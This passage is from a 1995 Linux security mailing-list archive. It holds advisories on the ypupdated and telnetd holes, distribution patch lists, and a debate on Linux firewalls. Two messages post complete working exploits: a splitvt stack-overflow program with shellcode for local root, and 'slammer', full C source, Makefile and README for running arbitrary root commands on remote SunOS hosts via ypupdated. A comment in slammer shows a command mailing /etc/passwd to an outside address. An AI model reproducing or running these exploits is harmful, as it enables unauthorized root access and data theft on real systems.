=SL0I - -----END PGP PUBLIC KEY BLOCK----- ***************************************************************** -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBML0bT4xFUz2t8+6VAQHFBgP+Pf19mAJhh0zM8OhctpN4NyewjjHlhj9b kbVpbOwTpVGWqMEKTNCj6qP+Wl9cbp910WAOxsWrLN6G1u35tBQ95SWjKz8bhLup D/U3VMyc1TNgsYwRoQhjMVkl3g9+mzpXIyqmVGUANLPVtTbxBe3lJlyXpvBU8iwd VnG4+bF31EU= =tYmz -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= linux-security/1995/linux-security.951203100664 1767 1767 27625 6060472260 17263 0ustar majdommajdomFrom [email protected] Sun Dec 3 17:14:57 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA06325; Sun, 3 Dec 1995 17:14:57 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id XAA04355; Sat, 2 Dec 1995 23:10:12 -0500 Received: from evergreen.cc.usm.edu ([email protected] [131.95.84.30]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id XAA02283 for ; Sat, 2 Dec 1995 23:10:11 -0500 (EST) Received: (from jonathan@localhost) by evergreen.cc.usm.edu (8.6.12/2.76jad USM) id WAA31229; Sat, 2 Dec 1995 22:10:11 -0600 Date: Sat, 2 Dec 1995 22:10:10 -0600 (CST) From: "Jonathan A. Davis" To: [email protected] Subject: Re: CERT and wu-ftpd advisory In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 30 Nov 1995, Aleph One wrote: > My god. This is so discusting. CERT has just released and advisory > on the wu-ftpd vulnerability that was discussed here.. what? 6 months ago? > I mean with a problem some simple, that has been discussed to death is > takes them 6 months to responde? I wonder who long it takes for an > undisclosed complex security bug to have an advisory... prob like a year > and a half. [Mod: Quoting trimmed. --Jeff.] I agree that the "lag" time seems somewhat excessive. It would help to know when CERT was actually first notified. CERT's first advisory concerning a "SITE EXEC" problem was part of "CA-94:08.ftpd.vulnerabilities". It is not directly related to the current security problem although some confusion (particularly with respect to vulnerable wu-ftp versions) may have resulted from it. ------------------------------snip-------------------------------- CA-94:08.ftpd.vulnerabilities 04/14/94 This advisory addresses two vulnerabilities with some releases of fptd and announces new versions and patches to correct these problems. ftpd versions affected are wuarchive ftpd 2.0-2.3, DECWRL ftpd versions prior to 5.93, and BSDI ftpd version 1.1 prior to patch level 5. The vulnerabilities addressed are the SITE EXEC and race condition vulnerabilities. ------------------------------snip-------------------------------- BTW, has anyone experienced an actual security breach due to this bug? Thankfully, we were not affected. Or, (as happens so often with security anyway) if we were, I don't know about it. ;-) -Jonathan _ _ ------------------------------------------------------------->>>>>>>>-(o)(o)--- Jonathan A. Davis | Academic Systems Analyst | Hattiesburg/Gulf Park/Stennis USM Computing Center | Box 5171 | (601) 266-4103 | [email protected] http://www.usm.edu/jonathan/home.html | finger jonathan@evergreen for PGP key From [email protected] Sun Dec 3 19:30:06 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA06781; Sun, 3 Dec 1995 19:30:05 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id TAA06752; Sun, 3 Dec 1995 19:28:20 -0500 Date: Sun, 3 Dec 1995 19:28:20 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected], [email protected], [email protected] Subject: 'ypupdated' hole, system crackers. X-Quote-I-Like: "The part that frightens the hell out of me is the goverment deciding where technology goes." --Senator Patrick Leahy. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list There is a hole, apparently quite serious, in the NIS program 'ypupdated'. CERT, among others, has confirmed the existence of a hole, and it appears to be under active exploitation by crackers who use it as one of many methods to illicitly gain privileged access to systems/sites. If you are running it on any of your systems, you should probably kill it until this issue is resolved/patched. NIS server systems running SunOS 4.1.x variants seem to be the favored target systems in this current series of attacks. Also, please check the directory /usr/share/src/sun/sunview1/examples/fonts for signs of cracker tools on any Suns that you administrate; this appears to be a favorite area for hiding "kits" and sniffers in a currently-active attack pattern. If you find anything in that area (even the existence of the "fonts" sub-directory should be considered suspicious), please immediately dump the area to tape and contact [email protected] and/or [email protected]; it is likely that the system has been badly compromised. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Sun Dec 3 23:10:22 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id XAA09649; Sun, 3 Dec 1995 23:10:21 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id WAA09561; Sun, 3 Dec 1995 22:57:27 -0500 Received: from icicle ([email protected] [198.174.169.5]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id WAA27405 for ; Sun, 3 Dec 1995 22:57:24 -0500 (EST) Received: from darkstar.sysinfo.com ([email protected] [204.246.65.62]) by icicle (8.6.12/8.6.12) with SMTP id VAA09357 for ; Sun, 3 Dec 1995 21:56:02 -0600 Posted-Date: Sun, 3 Dec 1995 21:56:02 -0600 Date: Sun, 3 Dec 1995 22:06:46 -0600 (CST) From: "R. M. DuFresne" To: [email protected] Subject: Re: Linux/freeBSD & Firewalls for a Newbw :-) (fwd) Message-ID: Oraganization: MINN. Information Systems MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Folks maybe insterested in the forwarded message found below. I'm interested in any comments peoples may have concerning this. Thanks, Ron DuFresne ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ admin & senior consultant: darkstar.sysinfo.com http://darkstar.sysinfo.com "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. [Mod: Please direct all replies to the poster (not to the list). I'm forwarding it on for general reactions, but I do *not* want to start an advocacy thread here. --Jeff.] ---------- Forwarded message ---------- Date: Mon, 4 Dec 1995 12:28:04 +1030 (CST) From: Mark Newton To: Arman Ali Anwar Cc: [email protected] Subject: Re: Linux/freeBSD & Firewalls for a Newbw :-) [ I know I'm going to get flamed for this, because Linux weenies are even more virulent than Amiga weenies used to be, but I can't let this pass. ] Arman Ali Anwar wrote: > 4) How does Linux measure up against freebsd or bsdi ... I happen to love > LINUX but faer it was designed with speed in mind and not security ... Not quite -- It was designed with fun in mind, and the quantities of speed and security that it offers are largely side effects. I support a number of Linux systems professionally. As such, I have a number of observations which might be useful to you. In my professional opinion, people who use a UNIX system as a firewall generally either don't understand firewalls very well or don't have security at the forefront of their mind when evaluating their requirements. [ the following paragraph contains generalities which apply to what would seem to be a "large" number of Linux advocates. If anyone emails me to say that they've taken it personally, or that Linux users aren't really at all like my portrayal below because *they*, personally, are not like that I will laugh until I die. Thank you for your cooperation. ] Linux "firewalls" are a particular case in point, because a disproportionate number of the people who use them suffer from BOTH of the traits listed above. The average Linux user is a UNIX newbie who sometimes even lacks the skills necessary to tighten down a normal UNIX system, let alone a firewall. Additionally, *cost* is usually the main factor which steers someone into using Linux as a firewall ("Hey! We have a $75 386SX-25 motherboard; we can put some cheap memory, cheap disk and a cheap ethernet card on it and build ourselves a $500 firewall, instead of buying two Ciscos and a bastion host! Q00l, eh?"). The end result of this is a network which is "firewalled" (spit!) behind a Linux box with some packet filters. By necessity, the Linux box runs *actual net-accessible services* (heaven forbid!), which means that the filters need gaps -- Hence, the machine is at risk of being compromised next time, say, a new sendmail/smail bug which allows any user on the Internet to break root is uncovered (in which case a small shell script could, say, remove all the "firewalling" IP filters before allowing the attacker in through any port he wanted). Thus, whilst the sysadmin thinks his network is nicely hidden behind his packet-filtering Linux machine, he's really only buying himself a small amount of protection over and above what he'd have with a completely unfirewalled network. The Linux scheduler and VM system is also pathetic enough to make you not want to run services on the machine anyway, even though you essentially have no choice. When a Linux machine runs a CPU- and IO-intensive application (such as, for example, INN), it gets so stupidly bogged down in paging that it can't route packets! I've seen many centrally- located (network-wise) Linux machines get to the point where running INN's "expire" program almost completely locks out networking until the expire run has finished. The only solutions to this problem are to either rewrite the scheduler or install massive amounts of memory to make sure that the system doesn't get into heavy paging (meaning that at least 32Mb, but more usefully 48Mb or 64Mb of RAM is needed on a machine which does nothing but run sendmail, INN and a nameserver). On just about any other operating system I can think of, 16Mb is more than adequate for that role. The bottom line is that Linux has not been designed as a firewall -- It has been designed as an OS that gets run on a single-user workstation (NOT! a server, no matter how many glowing stories Linux advocates tell you about its performance -- Linus Torvalds himself admits that the Linux kernel's scheduler does not perform well under load). As an OS that runs on a single user workstation, it delivers quite phenomenal performance, and I would recommend it to anyone in that role. However, it is not now, nor will it ever be, a firewall. Normally a firewall evaluation involves comparing how the firewall stacks up above alternatives in terms of security, performance and cost. If you're using Linux as a firewall, you're more or less telling the world that you simply don't give a damn about the first two of those criteria. - mark --- Mark Newton Email: [email protected] Systems Engineer Phone: +61-8-373-2523 Communica Systems WWW: http://www.communica.com.au linux-security/1995/linux-security.951206100664 1767 1767 66706 6061425233 17270 0ustar majdommajdomFrom [email protected] Wed Dec 6 17:15:43 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA32142; Wed, 6 Dec 1995 17:15:42 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id AAA10599; Mon, 4 Dec 1995 00:56:33 -0500 Received: from crimson.cadvision.com (cadc39.cadvision.com [204.50.20.39]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id AAA28408; Mon, 4 Dec 1995 00:56:25 -0500 (EST) Received: (from root@localhost) by crimson.cadvision.com (8.6.11/8.6.9) id WAA00528; Sun, 3 Dec 1995 22:52:45 -0700 Date: Sun, 3 Dec 1995 22:52:37 -0700 (MST) From: root To: Jeff Uphoff cc: [email protected], [email protected], [email protected], [email protected] Subject: Avalon Release In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Avalon Security Research Release 1.3 (splitvt) Affected Program: splitvt(1) Affected Operating Systems: Linux 2-3.X Exploitation Result: Local users can obtain superuser privelages. Bug Synopsis: A stack overflow exists via user defined unbounds checked user supplied data sent to a sprintf(). Syntax: crimson~$ cc -o sp sp.c crimson~$ sp bash$ sp bash$ splitvt bash# whoami root Credit: Full credit for this bug (both the research and the code) goes to Dave G. & Vic M. Any questions should be directed to [email protected] . ---------------------------------------------------------------------------- long get_esp(void) { __asm__("movl %esp,%eax\n"); } main() { char eggplant[2048]; int a; char *egg; long *egg2; char realegg[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *eggie = realegg; egg = eggplant; *(egg++) = 'H'; *(egg++) = 'O'; *(egg++) = 'M'; *(egg++) = 'E'; *(egg++) = '='; egg2 = (long *)egg; for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30; egg=(char *)egg2; for (a=0;a<0x40;a++) *(egg++) = 0x90; while (*eggie) *(egg++) = *(eggie++); *egg = 0; /* terminate eggplant! */ putenv(eggplant); system("/bin/bash"); } From [email protected] Wed Dec 6 18:16:39 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA32523; Wed, 6 Dec 1995 18:16:39 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id AAA10137; Mon, 4 Dec 1995 00:02:38 -0500 Received: from crimson.cadvision.com (cadc39.cadvision.com [204.50.20.39]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id AAA28015; Mon, 4 Dec 1995 00:02:23 -0500 (EST) Received: (from root@localhost) by crimson.cadvision.com (8.6.11/8.6.9) id VAA00386; Sun, 3 Dec 1995 21:58:42 -0700 Date: Sun, 3 Dec 1995 21:58:33 -0700 (MST) From: root To: Jeff Uphoff cc: [email protected], [email protected], [email protected] Subject: Re: 'ypupdated' hole, system crackers. In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list ****************************************************************************** "Freedom is a meal easy to eat, but difficult to digest". Rosseau Send all replies to [email protected] ****************************************************************************** On Sun, 3 Dec 1995, Jeff Uphoff wrote: > There is a hole, apparently quite serious, in the NIS program > 'ypupdated'. CERT, among others, has confirmed the existence of a hole, > and it appears to be under active exploitation by crackers who use it as > one of many methods to illicitly gain privileged access to > systems/sites. > > If you are running it on any of your systems, you should probably kill > it until this issue is resolved/patched. NIS server systems running > SunOS 4.1.x variants seem to be the favored target systems in this > current series of attacks. > This 'bug' was released by Avalon Security Research several days ago. In fact I am quite sure we also posted it to several Linux mailing lists, in any event enclosed here in the message is the code for the exploit. A following message will introduce ASR. Avalon Security Research Release 1.0 (ypupdated) Affected Program: rpc.ypupdated Tested Operating Systems: SunOS 4.1.X Affect: Remote users may pass arbitrary root commands on target hosts running ypupdated and keyserv. Bug Synopsis: When ypupdated recieves requests to update yp maps on a host machine it forks and executes a copy of the bourne shell. Through the bourne shell meta characters may be passed into the arguments causing a security breach. All responses may be directed to [email protected] ------------------------------------------------------------------------------ Makefile ------------------------------------------------------------------------------ OBJS= slammer.o all: slammer slammer: $(OBJS) rpcgen ygyg.x cc $(OBJS) ygyg_xdr.c -lrpcsvc -o slammer ------------------------------------------------------------------------------- /* slammer.c * By Josh D. February 7th 1994 AD (ASR) * usage slammer target "cmd arg1 arg2 agr3 ....." * the target must be running ypupdated * keyserv, and ypbind MUST be running, if they aren't see README. * this program is built to run on a sunOS 4.1.X machine, running * it on anything else will probably cause a linker error or a core dump * if the program core dumps on a sunos 4.1.X someone has given you * a broken copy or your local machine is not setup correctly (see * README) * caveat: your command will be exec'd on the receiving end of a pipe * so redirecting stdin will cause the input file to be zero'd * example: slammer joe.target.com "mail [email protected] < /etc/passwd" * will not only not work, but will also zero the passwd file * solution: use only non-interactive commands, e.g. rm, cp, chmod, mv, etc. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "ypupdate_prot.h" char *stump = "nobody c3d91f44568fbbefada50d336d9bd67b16e7016f987bb607\ :7675cd9b8753b5db09dabf12da759c2bd1331c927bb322861fffb54be13f55e9"; int main(argc, argv) int argc; char **argv; { ypupdate_args stam; CLIENT *yope; int ursuck=RPC_ANYSOCK; struct hostent *ham; unsigned long othello; struct sockaddr_in *us, them; struct timeval fore; char wonthirtyseven[255-1+2 % 1000]; fore.tv_sec = 60; fore.tv_usec = 0; if (argc != 3) exit(printf("wonthirtyseven\n")); if (isdigit(argv[1][0])) { bcopy(inet_addr(argv[1]), &them.sin_addr.s_addr, 4);} else { ham = gethostbyname(argv[1]); if (ham == NULL) exit(printf("ham!!!!!!!!!!!!\n")); bcopy(ham->h_addr, &them.sin_addr.s_addr, 2*2); } if (strlen(argv[2]) > 253) { printf("your comm is bein trunc'd to 253\n"); argv[2][253] = '\0'; } sprintf(wonthirtyseven, "|%s", argv[2]); them.sin_family = AF_INET; them.sin_port = 0; yope = clntudp_create(&them, 100028, 1, fore, &ursuck); if (yope == NULL) exit(printf("Cu;dn't create yope\n")); clnt_control(yope, CLSET_TIMEOUT, &fore); yope->cl_auth = authdes_create("nobody", 600, NULL, NULL); if (yope->cl_auth == NULL) exit(printf("won:local site misconfigured\n")); if (yope->cl_auth->ah_ops->ah_marshal == NULL) exit(printf("too:local site misconfigured\n")); stam.mapname = wonthirtyseven; stam.key.yp_buf_val = "blah"; stam.datum.yp_buf_val = "blah"; stam.key.yp_buf_len = 5; stam.datum.yp_buf_len = 5; if(clnt_call(yope, YPU_CHANGE, xdr_ypupdate_args, &stam, xdr_u_int, &othello, fore) != RPC_SUCCESS) printf("137\n"); } ------------------------------------------------------------------------------ %/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */ % %/* % * Compiled from ypupdate_prot.x using rpcgen % * This is NOT source code! % * DO NOT EDIT THIS FILE! % */ /* * NIS update service protocol */ const MAXMAPNAMELEN = 255; const MAXYPDATALEN = 1023; const MAXERRMSGLEN = 255; program YPU_PROG { version YPU_VERS { u_int YPU_CHANGE(ypupdate_args) = 1; u_int YPU_INSERT(ypupdate_args) = 2; u_int YPU_DELETE(ypdelete_args) = 3; u_int YPU_STORE(ypupdate_args) = 4; } = 1; } = 100028; typedef opaque yp_buf; struct ypupdate_args { string mapname; yp_buf key; yp_buf datum; }; struct ypdelete_args { string mapname; yp_buf key; }; ------------------------------------------------------------------------------ /* * Please do not edit this file. * It was generated using rpcgen. */ #include /* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */ /* * Compiled from ypupdate_prot.x using rpcgen * This is NOT source code! * DO NOT EDIT THIS FILE! */ #define MAXMAPNAMELEN 255 #define MAXYPDATALEN 1023 #define MAXERRMSGLEN 255 #define YPU_PROG ((u_long)100028) #define YPU_VERS ((u_long)1) #define YPU_CHANGE ((u_long)1) extern u_int *ypu_change_1(); #define YPU_INSERT ((u_long)2) extern u_int *ypu_insert_1(); #define YPU_DELETE ((u_long)3) extern u_int *ypu_delete_1(); #define YPU_STORE ((u_long)4) extern u_int *ypu_store_1(); typedef struct { u_int yp_buf_len; char *yp_buf_val; } yp_buf; bool_t xdr_yp_buf(); struct ypupdate_args { char *mapname; yp_buf key; yp_buf datum; }; typedef struct ypupdate_args ypupdate_args; bool_t xdr_ypupdate_args(); struct ypdelete_args { char *mapname; yp_buf key; }; typedef struct ypdelete_args ypdelete_args; bool_t xdr_ypdelete_args(); ------------------------------------------------------------------------ README ------------------------------------------------------------------------- In order for slammer to work correctly the following parameters must be met: Target Host *MUST* be running both ypupdated and keyserv. If this is not the case Slammer will return non-zero error code. syntax: slammer target.com "arbitrary command" If slammer is succesfull you will be returned to your initial prompt. Avalon Security Research Josh D. Ben G. Alfred H. From [email protected] Wed Dec 6 18:33:53 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA32641; Wed, 6 Dec 1995 18:33:53 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id AAA10547; Mon, 4 Dec 1995 00:31:21 -0500 Received: from owens.ridgecrest.ca.us ([email protected] [199.120.150.1]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id AAA28304; Mon, 4 Dec 1995 00:31:20 -0500 (EST) Received: (greg@localhost) by owens.ridgecrest.ca.us (v8-modified-1701D/8.6-RIDGENET-RIDGENET) id VAA17870; Sun, 3 Dec 1995 21:30:56 -0800 From: Greg Spiegelberg Posted-Date: Sun, 3 Dec 1995 21:30:56 -0800 Message-Id: <[email protected]> Subject: Re: 'ypupdated' hole, system crackers. To: [email protected] (Jeff Uphoff) Date: Sun, 3 Dec 1995 21:30:56 -0800 (PST) Cc: [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "Jeff Uphoff" at Dec 3, 95 07:28:20 pm X-Mailer: ELM [version 2.4 PL24 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Not to downplay the seriousness of this hole, because it does exist, but myself and my coworkers have found that if you do not run keyserv on your NIS master/slaves the hole can not be exploited in it's current form in SunOS 4.1.x. Whether or not a keyserv exists for Linux I still wouldn't discount this hole because Linux still runs many ports of the BSD servers. A few cents more, Greg. [mod: quoting trimmed --okir] -- Greg "TwoTone" Spiegelberg - SAIC UNIX/NetWare Network & Systems Administrator [email protected] - RidgeNET, ISP [email protected] - Naval Air Warfare Center (Weapons), China Lake, Ca From [email protected] Wed Dec 6 18:34:58 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA32723; Wed, 6 Dec 1995 18:34:58 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id QAA26476; Tue, 5 Dec 1995 16:19:12 -0500 Received: from bach.cis.temple.edu ([email protected] [155.247.182.2]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with ESMTP id QAA03672 for ; Tue, 5 Dec 1995 16:18:51 -0500 (EST) Received: from bach.cis.temple.edu (localhost [127.0.0.1]) by bach.cis.temple.edu (8.7.1/8.7.1) with SMTP id QAA28367; Tue, 5 Dec 1995 16:20:16 -0500 Date: Tue, 5 Dec 1995 16:20:16 -0500 (EST) From: "Alexander O. Yuriev" To: Linux Security Mailing List cc: Matt Bishop , Linux Announce Submit , Russ DeFlavia , big-linux-mailing-list Subject: Linux Security FAQ Update#8: CERT-95:14 - Telnetd fixes for Linux Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update telnetd(8), Shared Libraries and login Program Vulnerability November 28, 1995 09:58:42 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT: Most of Linux distributions with the release date prior to Nov 15, 1995 are subject to the vulnerability of shared /bin/login and telnetd(8) described in the CERT Advisory CA: 95-14. This update is a summary of the information from linux-security mailing list and information about the distribution specific patches. AFFECTED DISTRIBUTIONS: At the present time it is believed by every single Linux distribution released prior to Nov 15, 1995 that does not have statically linked login program (usually /bin/login) is affected. It is also believed that those who installed shadow support subsystem on their systems made their systems vulnerable to the attack. RISK ASSESSMENT: It came to our attention that a small but a vital mistake made by CERT in the analysis of the vulnerability: in order to exploit the security bug, the intruder has to first gain access to a part of filesystem of the attacked system. It includes (but is not limited to) the following types of access in addition to the shell access. a) System allows anonymous FTP uploads b) Intruder is able to gain access that allows the intruder to write to a fileserver used by the system (that includes NFS, Netware, Samba, etc) DISTRIBUTION FIXES: Red Hat Commercial Linux 2.1 ---------------------------- This Linux distribution is not vulnerable as long as Red Hat's NetKit is used. ld.so of this distribution needs to be updated. Please use appropriate Red Hat Commercial Linux 2.0 RPM. Red Hat Commercial Linux 2.0 ---------------------------- Obtain the secure NetKit from one of the following URLs: ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/RPMS/NetKit-B-0.06-4.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/RedHat2.0/NetKit-B-0.06-4.i386 ftp://linux.nrao.edu/pub/security//DISTRIBUTION-FIXES/NetKit-B-0.06-4.i386.rpm Red Hat Commercial Linux 2.0 also has an updated ld.so package. It can be obtained from one of the following URLs ftp://ftp.pht.com/pub/linux/redhat/redhat-2.1/updates/RPMS/ld.so-1.7.11-1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/RedHat2.0/ld.so-1.7.11-1.i386.rpm ftp://linux.nrao.edu/pub/security//DISTRIBUTION-FIXES/RedHat2.0/ld.so-1.7.11-1.i386.rpm Please verify the MD5 hash of the files prior to installing them. c49062435e48c215b19239ce4924ffb2 NetKit-B-0.06-4.i386.rpm 0f8b92359f4f085a2a01935d71033877 ld.so-1.7.11-1.i386.rpm Caldera Network Desktop: ------------------------ Preview I --------- This release is believed to be vulnerable. Due to the fact that Caldera corportation provieded a free upgrade to Preview II for Preview I users, no one should be affected. Preview II ---------- Please apply the patch mentioned in the Red Hat 2.0 section of the Update. Slackware: ---------- Slackware distributions prior to version 3.0 are vulnerable. If you use distributions prior to version 3.0 you should consider upgrading to Slackware 3.0 Patrick J. Volkerding provided information about the official Slackware 3.0 patch. It can be obtained from the following URLs: ftp://ftp.cdrom.com/pub/linux/slackware/patches/telnetd-patch.tgz ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/Slackware-3.0/telnetd-patch.tgz ftp://linux.nrao.edu/pub/security/DISTRIBUTION-FIXES/Slackware-3.0/telnetd-patch.tgz Please verify the MD5 hash of the file prior to installing it. 9cab4aea8d60695c478ad9dfc042502a telnetd-patch.tgz Debian: ------- The official patch for the Debian/GNU Linux can be obtained from the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/net/netstd-1.21-1.deb ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/Debian/netstd-1.21-1.deb ftp://linux.nrao.edu/pub/Linux/security/DISTRIBUTION-FIXES/Debian/netstd-1.21-1.deb Please verify the MD5 hash of the file prior to installing it. 3d055184d2708c1fa0ea36c412f05cf2 netstd-1.21-1.deb The Debian distribution also released updated ld.so loader which is available at one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/base/ld.so-1.7.10-1.deb ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/Debian/ld.so-1.7.10-1.deb Please verify the MD5 hash of the file prior to installing it. eb9a54d375ded510ba266835a2eacefc ld.so-1.7.10-1.deb Yggdrasil: ---------- Yggdrasil Computing Inc. did not provide any information about the patch, although their distributions are believed to be vulnerable. Other Distributions: -------------------- The vulnerable telnetd binary can be replaced by compiling Debian NetKit. It can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-1.0/source/net/netstd-1.23-1/telnet* As this is not the official package, no MD5 hash is provided. ADDITIONAL INFORMATION: Some official fixes addressed the problem by replacing the telnet daemon with the one that does not allow certain environment variables to be passed. Unfortunately, this solution has its own drawbacks. It is recommended that in addition to installing the distribution specific patch system administrator performs an upgrade ld.so to ld.so version 1.7.11 which ignores alternative shared libraries for setuid or setgid programs. ftp://ftp.ods.com/pub/linux/ld.so-1.7.11.tar.gz ftp://bach.cis.temple.edu/pub/Linux/security/ld.so-1.7.11.tar.gz ftp://linux.nrao.edu/pub/security/ld.so/ld.so-1.7.11.tar.gz Please verify MD5 hash of the file prior to installing it. e25b2f00783cd9eaea4f27edf2fb4694 ld.so-1.7.11.tar.gz CREDITS: We appreciate the help of the distribution maintainers who provided us with the information: Marc R. Ewing Patrick J. Volkerding Peter Tobias Alan Cox David Engel -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMMS1IIxFUz2t8+6VAQFoGQP9EkTdruM7SZBF0UHmxvKwdD+bvOSFsP4S /DpoHi1w4TjZ9odbpbVHPp5UUKkslYIw+EDF1/XblqmMfgl8palA4KxZ8Ll0D8nH veYkEHCPI8lZX3AFOTT/u5yvd3qjpTlbC5GSbVqj47ySWvEtCVzZ+79MTN+5jjq+ dPHk6mmpJb8= =qNfR -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Wed Dec 6 18:38:53 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA00041; Wed, 6 Dec 1995 18:38:53 -0500 Received: from cv3.cv.nrao.edu ([email protected] [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) with ESMTP id WAA16411; Mon, 4 Dec 1995 22:42:48 -0500 Received: from pinetree.pinetree.org ([email protected] [199.212.144.1]) by cv3.cv.nrao.edu (8.7.1/8.7.1/CV-2.1) with SMTP id WAA18626 for ; Mon, 4 Dec 1995 22:42:35 -0500 (EST) Received: (from gordon@localhost) by pinetree.pinetree.org (8.6.12/8.6.12) id WAA03718; Mon, 4 Dec 1995 22:43:38 -0500 Date: Mon, 4 Dec 1995 22:43:32 -0500 (EST) From: Gordon Dewis To: [email protected] Subject: Re: CERT and wu-ftpd advisory In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sat, 2 Dec 1995, Jonathan A. Davis wrote: > CERT's first 